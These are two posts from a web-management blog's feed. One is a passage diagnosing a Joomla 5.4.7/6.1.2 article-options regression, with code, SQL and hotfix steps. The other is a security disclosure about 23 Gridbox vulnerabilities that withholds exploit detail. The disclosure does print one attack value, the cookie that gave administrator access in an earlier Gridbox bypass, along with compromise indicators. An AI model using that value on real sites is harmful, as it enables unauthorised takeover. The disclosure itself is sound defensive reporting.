&lt;p&gt;Because nothing is cached wrongly. The wrong values are resolved in PHP on every single request, while Joomla is building the article, long before any cache or CDN sees the finished HTML.&lt;/p&gt;
&lt;p&gt;That single fact explains why this bug costs people an afternoon. Every instinct a competent Joomla administrator has is the wrong one here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clearing the Joomla cache changes nothing, because the page is rebuilt with the same wrong values.&lt;/li&gt;
&lt;li&gt;Purging Cloudflare or switching on development mode changes nothing, for the same reason.&lt;/li&gt;
&lt;li&gt;Rebuilding the menu or the database changes nothing, because no data is corrupt.&lt;/li&gt;
&lt;li&gt;Reinstalling the template changes nothing, because the template was never consulted for the layout it was told to skip.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fastest way to confirm it is to turn on debug and look at which layout actually loads. If the com_content global default renders instead of the one set on the article, this is your bug.&lt;/p&gt;
&lt;h2&gt;The Code Change That Broke Joomla&apos;s Article Options&lt;/h2&gt;
&lt;p&gt;The cause is &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47752&quot;&gt;PR #47752&lt;/a&gt;, &quot;[5.4] Fix Author Display Issue Using Article Setting&quot;, merged on 27 May 2026 and shipped in both 5.4.7 and 6.1.2. It rewrote how &lt;code&gt;components/com_content/src/Model/ArticleModel.php&lt;/code&gt; merges an article&apos;s own parameters over the menu and global ones.&lt;/p&gt;
&lt;p&gt;The original logic merged the article&apos;s stored &lt;code&gt;attribs&lt;/code&gt; wholesale, so anything set on the article won outright:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$data-&amp;gt;params = clone $this-&amp;gt;getState(&apos;params&apos;);
$data-&amp;gt;params-&amp;gt;merge($registry);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The replacement only reaches into the article&apos;s parameters where the &lt;strong&gt;menu item&lt;/strong&gt; already holds the literal string &lt;code&gt;use_article&lt;/code&gt; for that key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$menuParamsArray = $this-&amp;gt;getState(&apos;params&apos;)-&amp;gt;toArray();

foreach ($menuParamsArray as $key =&amp;gt; $value) {
    if ($value === &apos;use_article&apos;) {
        $articleArray[$key] = $registry-&amp;gt;get($key);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Single Article menu item has no &lt;code&gt;article_layout&lt;/code&gt; key at all, so the loop never fires for it and the article&apos;s value is never merged in. What survives is the com_content global configuration merged with the menu item parameters, and the view then reads that stale value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isset($active-&amp;gt;query[&apos;layout&apos;])) {
    $this-&amp;gt;setLayout($active-&amp;gt;query[&apos;layout&apos;]);
} elseif ($layout = $item-&amp;gt;params-&amp;gt;get(&apos;article_layout&apos;)) {
    $this-&amp;gt;setLayout($layout);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution reaches the second branch and sets the layout, using a value the article never got a chance to override. Nothing errors, nothing is logged, and the page renders happily with the wrong settings. Silent wrong output is always more expensive to diagnose than a crash.&lt;/p&gt;
&lt;h2&gt;Which of My Joomla Articles Are Actually Affected?&lt;/h2&gt;
&lt;p&gt;Only articles whose Options differ from what the menu item or global config already says. If an article&apos;s layout matches the com_content default, it renders correctly by accident. So a site can look 95% fine and still have three pages badly broken.&lt;/p&gt;
&lt;p&gt;To list the published articles that set their own layout, swap &lt;code&gt;#__&lt;/code&gt; for your real table prefix:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT id, title,
       JSON_UNQUOTE(
           JSON_EXTRACT(attribs, &apos;$.article_layout&apos;)
       ) AS article_layout
FROM   #__content
WHERE  state = 1
  AND  JSON_VALID(attribs)
HAVING article_layout IS NOT NULL
   AND article_layout &amp;lt;&amp;gt; &apos;&apos;
ORDER BY title;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Layout is only the most visible casualty though. To catch every article carrying any non-inherited Option, match on the shape of the stored JSON instead. Joomla writes unset options as empty strings, so anything with a value has been set deliberately:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT id, title, attribs
FROM   #__content
WHERE  state = 1
  AND  attribs REGEXP &apos;&quot;[a-zA-Z0-9_]+&quot;:&quot;[^&quot;]+&quot;&apos;
ORDER BY title;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Work down that list and check each one on the front end. It is usually much shorter than people expect.&lt;/p&gt;
&lt;h2&gt;How Do I Apply the Official Joomla Hotfix?&lt;/h2&gt;
&lt;p&gt;Joomla publishes a hotfix package that reverts the offending change on 5.4.7 and 6.1.2. It is a one-time file patcher: it checks your version, replaces &lt;code&gt;ArticleModel.php&lt;/code&gt;, tells you what it changed, then deletes itself, so no extension is left installed afterwards.&lt;/p&gt;
&lt;p&gt;The package is &lt;code&gt;Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip&lt;/code&gt;, published at &lt;a href=&quot;https://update.joomla.org/hotfix/Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip&quot;&gt;update.joomla.org/hotfix/&lt;/a&gt;. Check it against these before you install it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA256
e1247bb5a01b2448307407f9f843b33edae52d324f7f95b21252e74e7c47328f

MD5
a1e708491efa376d5369a7db3bce5800
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install it through System, Install, Extensions like any other package. Verify the checksum first, and take a backup, because this replaces a core file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shasum -a 256 Joomla_5_4_7_and_6_1_2_ArticleModel_Hotfix1.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;The patcher runs on exactly 5.4.7 and 6.1.2 and aborts safely on any other version. That version lock is deliberate, so do not try to force it onto a different release. If you would rather not use the installer, the zip preserves the directory structure and you can copy the correct version&apos;s ArticleModel.php over components/com_content/src/Model/ yourself, then fix ownership and permissions and clear the cache.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There is nothing to undo later. When 5.4.8 or 6.1.3 arrives it overwrites the patched file with the proper fix.&lt;/p&gt;
&lt;h2&gt;Apply the Hotfix From mySites.guru Instead&lt;/h2&gt;
&lt;p&gt;mySites.guru now checks for this regression on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; of a Joomla site, and applies Joomla&apos;s official hotfix for you. On the Manage Site page, open the Quick Snapshot tab and look under Joomla Configuration for &lt;strong&gt;Article Options Ignored (Joomla 5.4.7 &amp;amp; 6.1.2)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The check deliberately ignores the reported version number, because patching the file does not change it. Instead it reads &lt;code&gt;components/com_content/src/Model/ArticleModel.php&lt;/code&gt; on your site and looks for a local variable named &lt;code&gt;menuParamsArray&lt;/code&gt;. That variable exists in 5.4.7 and 6.1.2 and in no other release: not in 5.4.6 or 6.1.1 before them, not in the permanent fix scheduled for 5.4.8 and 6.1.3, and not in either file inside Joomla&apos;s own hotfix package. Its presence is therefore an exact answer, in both directions, to whether the site is running the broken code at this moment, which is more than a version number can tell you.&lt;/p&gt;
&lt;p&gt;Click Investigate and you get the file, its MD5, and the published articles that are actually losing settings, with the specific Options each one sets:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The count matters more than the badge. As covered above, an article whose Options match the menu item or global default renders correctly by accident, so only published articles that actually set a per-article Option are counted. A 5.4.7 site that leaves everything on &quot;Use Global&quot; loses nothing, and we say so rather than raising an alarm about it. The badge reads &quot;No Data&quot; until the site has taken a snapshot with a connector new enough to run the check, because &quot;no data&quot; and &quot;zero&quot; are different answers.&lt;/p&gt;
&lt;p&gt;Clicking Apply Official Hotfix writes nothing straight away. It asks first, and the dialog spells out the rule the patcher enforces:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There are two gates on that write. The file has to still be byte-for-byte what Joomla shipped, and the patched result is only kept if it is identical to the file inside Joomla&apos;s official hotfix package. So it either produces the official fix exactly or changes nothing at all. If somebody has already edited &lt;code&gt;ArticleModel.php&lt;/code&gt; on that site, the patch is refused and you are told, rather than having work nobody can see quietly overwritten.&lt;/p&gt;
&lt;p&gt;There is no backup step. The first gate means the file being replaced is always a specific, published Joomla release, so the rollback is downloading that same official file again.&lt;/p&gt;
&lt;p&gt;When the write does happen, the file is read back off disk and its checksum verified a second time, so the panel only flips once the bytes on your own server have been checked:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;&quot;It&apos;s Just a Single File&quot;&lt;/h3&gt;
&lt;p&gt;Which is the other thing being said in the comments, and it is completely right. One file, one hotfix, a couple of minutes.&lt;/p&gt;
&lt;p&gt;So try the version of that question an agency actually has to answer: which of the 300 client sites you updated before anyone knew about this issue have that one core file modified, and which do not? By hand, that is 300 administrator logins, or SSH and a checksum on 300 servers.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/articleoptionsignored&quot;&gt;all-sites view for this check&lt;/a&gt; answers it on one page, in one place. It lists only your connected Joomla sites reporting 5.4.7 or 6.1.2, so the page is your affected set rather than a list you have to filter down, and every row carries the same badge as the snapshot panel: a red count of the published articles currently losing their Options, or a green OK. Investigate on any row applies Joomla&apos;s official hotfix to that site. Job done.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every site gets the same two gates, so one whose &lt;code&gt;ArticleModel.php&lt;/code&gt; somebody has already edited is refused rather than overwritten. A successful patch runs a fresh snapshot for that site straight away, so its badge reflects the file you just wrote instead of waiting for the next scheduled run.&lt;/p&gt;
&lt;p&gt;Patched sites stay on the list, because patching does not change the version a site reports: the list works as a progress bar, turning green a row at a time until you are through the portfolio.&lt;/p&gt;
&lt;p&gt;One caveat. A green OK here means per-article Options are working, which covers both a patched site and a site where no published article sets any Options to lose. When you want the file-level answer, the per-site panel above reports Broken or Hotfix applied from the bytes on disk.&lt;/p&gt;
&lt;h2&gt;The Joomla Menu Item Workaround, and Where It Falls Short&lt;/h2&gt;
&lt;p&gt;If you cannot patch core on a particular site, set the layout on the &lt;strong&gt;menu item&lt;/strong&gt; rather than the article. Looking back at the view code above, &lt;code&gt;$active-&amp;gt;query[&apos;layout&apos;]&lt;/code&gt; is checked first and wins outright, so it never reaches the broken merge.&lt;/p&gt;
&lt;p&gt;For a custom layout to appear in the menu item&apos;s dropdown it needs an &lt;code&gt;.xml&lt;/code&gt; manifest next to the &lt;code&gt;.php&lt;/code&gt; file, because Joomla only offers layouts it can find a manifest for:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;metadata&amp;gt;
	&amp;lt;layout title=&quot;Team Page&quot;&amp;gt;
		&amp;lt;message&amp;gt;&amp;lt;![CDATA[Team page layout.]]&amp;gt;&amp;lt;/message&amp;gt;
	&amp;lt;/layout&amp;gt;
&amp;lt;/metadata&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla scans &lt;code&gt;templates/&amp;lt;template&amp;gt;/html/&amp;lt;component&amp;gt;/&amp;lt;view&amp;gt;/*.xml&lt;/code&gt; and builds the request variable as &lt;code&gt;template:layout&lt;/code&gt;, so the menu link ends up as &lt;code&gt;...&amp;amp;id=342&amp;amp;layout=yourtemplate:team-page&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We built and verified this on a client site before the hotfix existed, then reverted it once the hotfix shipped. It works, but be clear about what it does not do. It only rescues the layout, not the other article Options, and it only helps the pages you remember to fix. It is a stopgap for a handful of important pages, not a fix for a site.&lt;/p&gt;
&lt;h2&gt;Three Joomla Fixes That Will Make Things Worse&lt;/h2&gt;
&lt;p&gt;Some of the obvious workarounds cause more damage than the bug.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not change the com_content global Alternative Layout.&lt;/strong&gt; It looks like it fixes the broken page, and it changes every other article that relies on the default at the same time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not add &lt;code&gt;article_layout&lt;/code&gt; or &lt;code&gt;use_article&lt;/code&gt; to a Single Article menu item&apos;s parameters by hand.&lt;/strong&gt; That field only exists on category menu item types, so the administrator form drops it the next time anyone saves that menu item, and the page silently breaks again weeks later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not roll back to 5.4.6 or 6.1.1 to escape it.&lt;/strong&gt; Those releases are missing the ten security fixes that shipped in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;5.4.6 and 6.1.1&lt;/a&gt; and later. Trading a cosmetic rendering bug for known security holes is a bad deal in every direction. Patch the file instead.&lt;/p&gt;
&lt;h2&gt;Where This Leaves Joomla Site Owners&lt;/h2&gt;
&lt;p&gt;The fix itself was quick. &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/48058&quot;&gt;Issue #48058&lt;/a&gt; was raised on 8 July, one day after the release, and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48060&quot;&gt;PR #48060&lt;/a&gt; was merged on 10 July. It restores the original wholesale merge and it is sitting in the &lt;code&gt;5.4-dev&lt;/code&gt;, &lt;code&gt;6.1-dev&lt;/code&gt; and &lt;code&gt;6.2-dev&lt;/code&gt; branches right now.&lt;/p&gt;
&lt;p&gt;It just has not been released. 5.4.8 and 6.1.3 are both open milestones with a target date of 18 August 2026, which means that for over a month the newest stable Joomla on both supported branches has shipped this bug, with no upgrade path away from it.&lt;/p&gt;
&lt;p&gt;Which is a reminder worth taking seriously if you look after sites for other people: &quot;keep everything on the latest version&quot; is good policy and it is not a complete one. You still need to know what version each site is actually on, and you need to hear about a bad release before your client does. This is the same discipline that stops &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;accidental version jumps&lt;/a&gt; and catches &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;update channel failures&lt;/a&gt; before they become support tickets. It is not unique to Joomla either, as anyone who lived through the &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 release that crashed sites&lt;/a&gt; will recognise.&lt;/p&gt;
&lt;p&gt;The bug is annoying. Not knowing which of your sites has it is the actual problem.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-2-5-4-7-security-bugfix-release.html&quot;&gt;Joomla 6.1.2 and 5.4.7 release announcement&lt;/a&gt; - carries the known-issue warning card and the hotfix link&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/60-61/known-issues/6.1.2/&quot;&gt;Joomla 6.1.2 Known Issues&lt;/a&gt; - the official known-issues page, including the hotfix checksums&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/53-54/known-issues/5.4.7/&quot;&gt;Joomla 5.4.7 Known Issues&lt;/a&gt; - the same guidance for the 5.4 branch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/48058&quot;&gt;Issue #48058&lt;/a&gt; - the regression report against 5.4.7&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48060&quot;&gt;PR #48060&lt;/a&gt; - the fix, merged and awaiting release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47752&quot;&gt;PR #47752&lt;/a&gt; - the change that caused it&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>updates</category><category>regression</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/joomla-6-1-2-5-4-7-article-options-ignored.D-MeU8By.png" length="0" type="image/png"/></item><item><title>Another 23 Critical Security Vulnerabilities in Gridbox for Joomla</title><link>https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/</guid><description>Balbooa asked us to audit Gridbox. We found 23 vulnerabilities, including a pre-auth RCE in one request. Several are being actively exploited in the wild, and the complete fix is now out in Gridbox 2.20.2. Update every Gridbox site immediately.</description><pubDate>Wed, 29 Jul 2026 13:08:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/gridbox&quot;&gt;Gridbox&lt;/a&gt; is a widely used drag-and-drop page builder for Joomla, built by Balbooa. On the sites we can see it running, it is usually the thing the whole front end depends on.&lt;/p&gt;
&lt;p&gt;Last week we &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;disclosed a critical authentication bypass in Gridbox&lt;/a&gt;, CVE-2026-61425, fixed in 2.20.1. Balbooa&apos;s response to that was to ask us to look harder: they invited a full security review of the component. We did it. The findings were worse than any of us expected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Twenty-three distinct vulnerabilities in one Joomla extension&lt;/strong&gt;, including a pre-authentication remote code execution reachable in a single HTTP request. It took Balbooa three attempts to close them all, and the complete fix is now out as &lt;strong&gt;Gridbox 2.20.2&lt;/strong&gt;. It shipped into a live incident: several of these flaws are being exploited in the wild right now, which we have watched happen in server logs and on already-compromised sites, and which the Joomla Security Strike Team has confirmed. If you run Gridbox, update to 2.20.2 today and check the site for compromise.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;The honest verdict&lt;/p&gt;
    &lt;p&gt;In twenty years of taking apart Joomla extensions, I have not seen one this badly secured. Not close.&lt;/p&gt;
    &lt;p&gt;A single component that hands an anonymous visitor code execution, administrator access, and the entire user table&apos;s password hashes, by more than one route each.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;We are withholding every endpoint, parameter and proof-of-concept in this post. These issues are being exploited right now, and while the fix is public as Gridbox 2.20.2, plenty of sites are still unpatched. This is how we handle every vulnerability we find: fix first, publish second, and never hand attackers a recipe. What follows is the shape of the problem and what you need to do.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Balbooa &lt;strong&gt;asked us to audit Gridbox&lt;/strong&gt; after our earlier disclosure. We audited &lt;strong&gt;2.20.2&lt;/strong&gt; and found &lt;strong&gt;22 vulnerabilities in the one component&lt;/strong&gt;, and a &lt;strong&gt;23rd&lt;/strong&gt; surfaced days later as the attacks started&lt;/li&gt;
&lt;li&gt;The headline is a &lt;strong&gt;pre-authentication remote code execution&lt;/strong&gt;: one HTTP request, no account, no session, no token, and a working PHP file is written into a web-reachable folder&lt;/li&gt;
&lt;li&gt;There are &lt;strong&gt;two more routes to code execution&lt;/strong&gt;, &lt;strong&gt;more ways to become an administrator with no password&lt;/strong&gt;, and &lt;strong&gt;several unauthenticated SQL injection points&lt;/strong&gt;, one of which returns &lt;strong&gt;every user&apos;s password hash&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Balbooa&apos;s first fix builds did &lt;strong&gt;not&lt;/strong&gt; close everything. We re-tested each one, and several findings were still live, including an anonymous SQL injection they believed was closed. It took &lt;strong&gt;three builds&lt;/strong&gt; to get it right, now shipped as &lt;strong&gt;Gridbox 2.20.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Several issues are being &lt;strong&gt;actively exploited in the wild&lt;/strong&gt;. We have seen the attempts in server logs and connected sites with planted administrator accounts, and the &lt;strong&gt;Joomla Security Strike Team&lt;/strong&gt; confirmed at least three. One is a &lt;strong&gt;brand-new privilege escalation&lt;/strong&gt;: any public registrant can create an administrator account&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Joomla CNA assigned eleven CVEs&lt;/strong&gt;, grouped by root cause, and &lt;strong&gt;all eleven have now published&lt;/strong&gt;. Seven are Critical, topping out at &lt;strong&gt;10.0&lt;/strong&gt;, and four carry the exploit maturity &lt;strong&gt;Attacked&lt;/strong&gt;, which is the CVE record officially recording that these are being used against real sites&lt;/li&gt;
&lt;li&gt;If you run Gridbox on any Joomla site, treat it as &lt;strong&gt;at risk now&lt;/strong&gt;, &lt;strong&gt;update to Gridbox 2.20.2 immediately&lt;/strong&gt;, and &lt;strong&gt;check for compromise&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This is, plainly, &lt;strong&gt;the worst-secured Joomla extension we have ever audited&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Balbooa asked us to look&lt;/h2&gt;
&lt;p&gt;It is only fair to tell this in order, because Balbooa did the right thing at the start.&lt;/p&gt;
&lt;p&gt;After our &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms disclosure&lt;/a&gt; earlier in July, they came back to us unprompted, said it had prompted them to review their other products, and invited us to test Gridbox. That first look turned up the &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;authentication bypass&lt;/a&gt; fixed in 2.20.1. Rather than stop there, Balbooa asked us to carry out a comprehensive audit of the whole component. We agreed, and we ran it against Gridbox 2.20.2.&lt;/p&gt;
&lt;p&gt;Inviting an outside party to break your code is a good instinct, and a rare one. We want to say that clearly, because everything after it is hard reading.&lt;/p&gt;
&lt;p&gt;For context, these are the two Balbooa flaws we had already found and disclosed before this audit, both fixed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date fixed&lt;/th&gt;
&lt;th&gt;Product&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9 Jul 2026&lt;/td&gt;
&lt;td&gt;Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload leading to remote code execution&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;2.4.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 Jul 2026&lt;/td&gt;
&lt;td&gt;Gridbox (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Unauthenticated authentication bypass to Super User&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61425&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Critical, CVSS 4.0 10.0&lt;/td&gt;
&lt;td&gt;2.20.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The Balbooa Forms flaw came to us through a hosting abuse report on a live customer site and was being exploited before the fix shipped. The Gridbox authentication bypass was in the very build Balbooa sent us as hardened. This audit is the third chapter, and by some distance the worst of the three.&lt;/p&gt;
&lt;h2&gt;Before you count the 23, there was already a 10.0&lt;/h2&gt;
&lt;p&gt;Ten days earlier, Gridbox already had a critical of its own: &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;CVE-2026-61425&lt;/a&gt;, an authentication bypass we scored at CVSS 4.0 &lt;strong&gt;10.0&lt;/strong&gt;, the maximum there is. One cookie, &lt;code&gt;gridbox_username=admin&lt;/code&gt;, and a visitor was logged in as the site&apos;s administrator with no password and no login. Balbooa shipped &lt;strong&gt;2.20.1&lt;/strong&gt; on 20 July to close it. That release is the one that prompted the full audit, and the full audit is where the 23 came from.&lt;/p&gt;
&lt;p&gt;So the tally for a single page builder, inside about three weeks, reads like this: a 10.0 authentication bypass fixed in 2.20.1, then twenty-three more fixed across three builds up to 2.20.2, and before either of them a critical unauthenticated file upload in the same vendor&apos;s &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; (CVE-2026-56291, fixed in 2.4.1). Every one of those shipped as a &quot;security release.&quot; Each fix was real. The uncomfortable part is how many of them there have had to be, and how often the first attempt did not finish the job.&lt;/p&gt;
&lt;p&gt;That is the pattern to hold onto if you run Gridbox. The version you were on was almost always the fixed one, right up until the next release showed it was not. 2.20.2 is where the 23 are finally closed. Get onto it.&lt;/p&gt;
&lt;h2&gt;What a full audit of one extension turned up&lt;/h2&gt;
&lt;p&gt;We do not publish exploit detail before a fix is out, so this is deliberately the shape of the findings rather than the mechanics.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;One request to code execution.&lt;/strong&gt; The worst finding is an unauthenticated arbitrary file upload. No account, no session, no token, no chain. A single well-formed request writes a file the attacker controls into a folder the web server will run. That is a PHP shell on the server, and from there the site and usually the whole hosting account are gone. Balbooa already ship a safe upload helper elsewhere in the same codebase. This path never calls it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And it is not the only route.&lt;/strong&gt; There are two further ways to reach code execution, and more than one way to be treated as the site administrator without ever knowing a password. Several endpoints accept unauthenticated SQL injection, and one of them returns the contents of the query in the response, which means an anonymous visitor can read every username and password hash out of the database in a single request. There is unauthenticated file reading that escapes the web root, unauthenticated recursive directory deletion, and anonymous tampering with other people&apos;s content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The pattern is the point.&lt;/strong&gt; These are not one author&apos;s bad day. The same class of mistake, trusting a value from the request, recurs across unrelated files written by different people. That points at a missing security standard rather than a handful of isolated slips, which is why we told Balbooa this needs a coordinated security release and not another point patch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credit where it is due.&lt;/strong&gt; One part of the component is well built: the payment callback verification. Most of the gateway integrations properly verify a signature against a merchant secret or re-check the transaction server-side, and order totals are recomputed rather than trusted from the request. Whoever wrote that knew exactly what they were doing. It makes the state of the rest harder to explain, not easier.&lt;/p&gt;
&lt;h2&gt;The &quot;fixed&quot; build was not fixed&lt;/h2&gt;
&lt;p&gt;Balbooa sent us a build they described as fixing everything we reported, and asked us to confirm it before they published it. We re-tested every finding against the actual code.&lt;/p&gt;
&lt;p&gt;Most were closed, and the release is a real structural rewrite in places rather than a set of sticking plasters. But several findings were still live in the build they proposed to ship. The one that matters most: an anonymous SQL injection that returns password hashes, which they believed they had fixed. They had moved the guard onto one entry point and left the identical flaw reachable through its siblings. We proved it still worked, with no login and no token, and reported that back the same evening.&lt;/p&gt;
&lt;p&gt;An authentication fix, or an injection fix, is exactly the kind of change that can be almost right. This is the entire reason a reporter asks to verify a patch before it ships. We asked, we verified, and it was not there yet.&lt;/p&gt;
&lt;p&gt;To their credit, Balbooa turned a second build around within a day. It closes the anonymous injection we had just proved, the registration flaw that was being exploited, and the other actively-exploited routes with it. On the things that mattered most, they moved fast, and it shows.&lt;/p&gt;
&lt;p&gt;That second build still was not the finished release. Two problems remained in it: a payment callback that could be forged on sites configured a common way, and a SQL injection a logged-in low-privilege user could still reach. We reported both back and asked for one coordinated release that closed everything rather than another partial build.&lt;/p&gt;
&lt;p&gt;Balbooa delivered it. &lt;strong&gt;The complete fix is Gridbox 2.20.2, released 29 July.&lt;/strong&gt; It closes the payment bypass and the last injection along with everything else we reported. Three builds is more than anyone wants a security fix to take, but every finding we reported is closed in 2.20.2, and that is the version to be on. Anything on 2.20.1 or earlier is still exposed.&lt;/p&gt;
&lt;h2&gt;Now it is being exploited&lt;/h2&gt;
&lt;p&gt;This stopped being a disclosure story and became an incident while Balbooa was still finalising the fix.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; reported that &lt;strong&gt;at least three Gridbox issues are being actively exploited&lt;/strong&gt; in the wild and urged Balbooa to publish a fix as soon as possible. Two of the three are flaws we had already reported, one of which was in the &quot;fixed&quot; build. The third is new, and it is nasty in its simplicity: the registration handler adds the default group to whatever groups the visitor asks for, instead of replacing them. So &lt;strong&gt;anyone can register a normal account and place themselves straight into an administrator group.&lt;/strong&gt; No exploit skill required, just a crafted sign-up.&lt;/p&gt;
&lt;p&gt;We are not taking anyone&apos;s word for this, our own included. We have the server access logs showing the exploitation requests arriving, and connected sites where the accounts are already planted. On one connected Joomla site our rogue admin check is holding &lt;strong&gt;92 planted accounts&lt;/strong&gt; right now, every one stamped by the same generator: the username &lt;code&gt;xtw18387&lt;/code&gt; plus four hex characters, with a matching &lt;code&gt;xtw18387+&amp;lt;hex&amp;gt;@outlook.com&lt;/code&gt; address. They arrive in batches minutes apart. On this site the run started on 27 July, two days before the Strike Team&apos;s warning.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Look at the flag on each row: not currently a Super User. The escalation does not always take, and the accounts that fail sit in the default registration group looking like ordinary sign-ups. They are still the attacker&apos;s, and they are still a way back in. If you have ever waved past a run of odd registrations because none of them were administrators, this is what that looks like.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find planted admin accounts across every Joomla site you manage&lt;/p&gt;
